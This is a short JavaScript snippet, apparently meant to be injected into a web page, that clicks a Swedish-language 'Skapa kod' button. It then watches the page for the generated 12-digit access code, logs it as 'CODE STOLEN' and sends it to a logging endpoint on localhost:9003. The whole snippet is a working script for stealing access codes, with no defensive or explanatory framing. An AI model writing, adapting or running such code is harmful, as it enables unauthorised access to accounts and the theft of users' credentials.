function listenForAndStealCode() { console.log("Stage 2 Engaged: Now actively listening for the access code..."); const codeObserver = new MutationObserver((mutations, obs) => { const codeElement = document.querySelector('span[aria-label^="Åtkomstkoden är:"]'); if (codeElement) { console.log("Stage 2 Success: Code element found!"); const labelText = codeElement.getAttribute('aria-label'); const match = labelText.match(/(\d{4}\s\d{4}\s\d{4})/); if (match && match[0]) { const accessCodeWithSpaces = match[0]; // e.g., "8758 8492 7269" const cleanedCode = accessCodeWithSpaces.replace(/\s/g, ''); // "875884927269" console.log("!!! CODE STOLEN:", cleanedCode, "!!!"); fetch(`http://localhost:9003/log?code=${cleanedCode}`); obs.disconnect(); } } }); codeObserver.observe(document.body, { childList: true, subtree: true }); } function findAndClickButton() { const spans = document.querySelectorAll('span'); for (const span of spans) { if (span.textContent.trim() === 'Skapa kod') { const button = span.closest('[role="button"]'); if (button) { console.log("Stage 1 Success: Button found. Clicking it."); button.click(); return true; } } } console.error("Stage 1 Failed: Could not find the button. Aborting."); return false; } const wasButtonClicked = findAndClickButton(); if (wasButtonClicked) { listenForAndStealCode(); }